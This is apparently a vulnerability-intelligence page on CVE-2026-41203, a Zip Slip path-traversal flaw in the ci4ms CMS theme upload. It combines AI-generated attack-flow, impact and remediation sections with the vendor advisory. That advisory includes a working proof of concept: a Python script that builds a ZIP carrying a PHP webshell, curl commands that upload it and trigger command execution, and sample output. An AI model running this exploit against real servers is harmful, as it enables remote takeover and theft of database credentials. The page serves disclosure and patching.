Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain valid credentials with theme create role
-
DeliveryCraft malicious ZIP with path traversal entries
-
ExploitAuthenticate to ci4ms backend
-
InstallPOST archive to /backend/themes/themesUpload
-
C2ZipArchive extracts PHP shell to public web root
-
ExecuteRequest shell.php endpoint
-
ImpactExecute arbitrary system commands as www-data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires valid authentication to the ci4ms backend with a user account holding the theme create role permission, typically assigned to administrators or content managers responsible for site appearance. The Theme::upload controller enforces role=create authorization check via modules/Theme/Config/Routes.php, preventing exploitation by unauthenticated users or low-privilege accounts without theme management rights. Default ci4ms installations grant theme creation to admin roles, making the barrier realistic in multi-user CMS environments. No additional configuration changes, non-default settings, or specific deployment modes are required beyond standard ci4ms installation. The vulnerability is network-accessible (AV:N) with low attack complexity (AC:L), exploitable through direct POST requests or cross-site request forgery if CSRF protections are bypassed (though the advisory notes the upload route is not in csrfExcept, CSRF is still feasible against authenticated admin browsers). No user interaction beyond the attacker's own authenticated session is necessary (UI:N). Exploitation is NOT limited by specific PHP versions, web server configurations, or operating system platforms-any ci4ms instance prior to 0.31.5.0 with at least one theme-creator account is vulnerable. |
| Impact | CVSS 4.0 score of 9.4 (AV:N/AC:L/PR:L/UI:N) indicates critical severity with network-accessible exploitation requiring only low-privilege authentication and no user interaction. The vulnerability delivers the full CIA triad impact (VC:H/VI:H/VA:H) plus scope change to surrounding systems (SC:H/SI:H/SA:H), reflecting potential database credential theft from .env files and lateral movement. Real-world risk is elevated by the public proof-of-concept providing complete exploitation instructions including Python script to craft malicious archives and curl commands demonstrating end-to-end attack chain. Although exploitation requires valid credentials with theme creation permission (typically admin or content manager roles), this is a common permission in CMS installations where multiple staff manage site appearance. No EPSS score or CISA KEV listing available at time of analysis, suggesting exploitation has not yet reached widespread automated or mass-targeting campaigns. However, the combination of public PoC, RCE impact, and authentication barrier that is routine in target environments makes this a genuine priority for organizations running ci4ms. The CVSS score accurately reflects technical severity; risk is moderated only by the authentication prerequisite and apparent lack of mass exploitation to date. |
| Exploit ScenarioDerived | An attacker with valid ci4ms backend credentials and theme creation permission crafts a malicious ZIP archive using the provided Python script, embedding path-traversal sequences (../../public/shell.php) that reference a PHP webshell payload. The attacker authenticates to the target ci4ms installation, navigates to the Theme manager, and uploads the crafted evil_theme.zip file through the backend/themes/themesUpload endpoint. The vulnerable ZipArchive::extractTo() call writes shell.php outside the intended writable/tmp/ directory into the public web root. The attacker then accesses https://target.example.com/shell.php?c=id via HTTP GET, executing arbitrary system commands as the web server user (www-data), gaining full control over the server, exfiltrating database credentials from .env, and potentially pivoting to backend infrastructure or user data repositories. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – May 07, 2026
Remote code execution in ci4ms content management system allows authenticated backend users with theme creation permissions to write arbitrary PHP files via Zip Slip path traversal. A working proof-of-concept demonstrates uploading a malicious theme archive containing path-traversal entries (../../public/shell.php) that bypass extraction directory boundaries, placing executable code under the web root. Vendor-released patch available in version 0.31.5.0. No CISA KEV listing or EPSS data available, but publicly disclosed PoC significantly lowers exploitation barrier for attackers with valid credentials.
Earlier versions of this analysis (1)
Arbitrary file write and remote code execution in ci4ms Theme upload functionality allows authenticated backend users with theme creation permissions to extract malicious ZIP archives containing path-traversal sequences, drop PHP webshells into the public web root, and execute system commands. The vulnerability stems from direct ZipArchive extraction without entry-name validation (classic Zip Slip). Vendor-released patch version 0.31.5.0 addresses the flaw. Exploitation requires authenticated access with specific RBAC permissions, limiting exposure to insider threats or compromised admin accounts.
RemediationAI
Upgrade immediately to ci4ms version 0.31.5.0 or later, which includes validated path-traversal protections for ZIP extraction in both Theme::upload and the companion Backup::restore functionality (tracked separately as GHSA-xp9f-pvpc-57p4). The patch release is available at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0 and via Composer package update. The vendor advisory at https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xv3r-vr59-95rg provides full disclosure and remediation guidance. If immediate patching is not feasible, restrict theme creation permissions to only absolutely trusted administrators and audit existing theme uploads for suspicious .zip archives. Monitor the writable/tmp/ directory and public web root for unexpected PHP files. Disable the theme upload functionality entirely by removing or commenting the route binding in modules/Theme/Config/Routes.php (POST backend/themes/themesUpload), though this breaks legitimate theme management workflows. Implement web application firewall rules to block POST requests to /backend/themes/themesUpload from untrusted networks, recognizing this only reduces attack surface and does not eliminate the vulnerability for authenticated insiders. None of these workarounds provide complete protection; upgrading to 0.31.5.0 is the only definitive fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability exploits a classic Zip Slip pattern (CWE-22: Improper Limitation of a Pathname to a Restricted Directory) in PHP's ZipArchive class. The ci4ms Theme::upload controller method in modules/Theme/Controllers/Theme.php directly calls ZipArchive::extractTo() without validating archive entry names. When extracting a ZIP file, the method fails to check if entry paths like ../../public/shell.php resolve outside the intended writable/tmp/ destination. The CodeIgniter 4-based CMS framework accepts uploads at the POST backend/themes/themesUpload endpoint, restricted to authenticated users holding the theme create role. The vendor correctly implemented path validation using realpath and regex checks in modules/Methods/Controllers/Methods.php for a different upload handler, but omitted the same safeguard in the Theme module. The affected package is identified as pkg:composer/ci4-cms-erp_ci4ms, a PHP-based enterprise content management system built on CodeIgniter 4.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Primary rating from Vendor (https://github.com/ci4-cms-erp/ci4ms) · only source for this CVE.
CVSS VectorVendor: https://github.com/ci4-cms-erp/ci4ms
Lifecycle Timeline
4DescriptionCVE.org
Summary
ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.
Details
modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:
public function upload()
{
$valData = ([
'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
]);
if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
$file = $this->request->getFile('theme');
$tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
$zip = new \ZipArchive();
if ($zip->open($file->getTempName()) === true) {
$zip->extractTo($tempPath); // no entry-name validation
$zip->close();
} ...
$log = install_theme_from_tmp($themeName);
...
}A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.
Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.
A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.
PoC
Build the archive:
python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
z.writestr('info.xml', '<theme name=\"x\"/>')
"Upload through the Theme manager with an authenticated session that has theme create:
curl -i -b 'ci4ms_session=<SESSION_ID>' \
-F 'theme=@evil_theme.zip' \
https://target.example.com/backend/themes/themesUploadTrigger the shell:
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)Impact
Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.
Executive ViewAI
CVE-2026-41203 is a critical remote code execution vulnerability in ci4ms CMS that allows authenticated backend users with theme creation permissions to upload malicious theme files and execute arbitrary PHP code on the web server. Organizations running ci4ms are at immediate risk of complete system compromise if backend accounts are compromised or if insider threats exist; this vulnerability requires urgent patching to eliminate a high-impact attack path that bypasses traditional perimeter controls.
Apply vendor patch to version 0.31.5.0. If patching cannot be completed within 24 hours, immediately revoke theme creation permissions for all non-essential backend accounts and enforce multi-factor authentication for all remaining privileged backend users; monitor web server execution logs for suspicious PHP file creation in public directories.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-28257
GHSA-xv3r-vr59-95rg
NVD
CVE.org
EPSS
Exploit-DB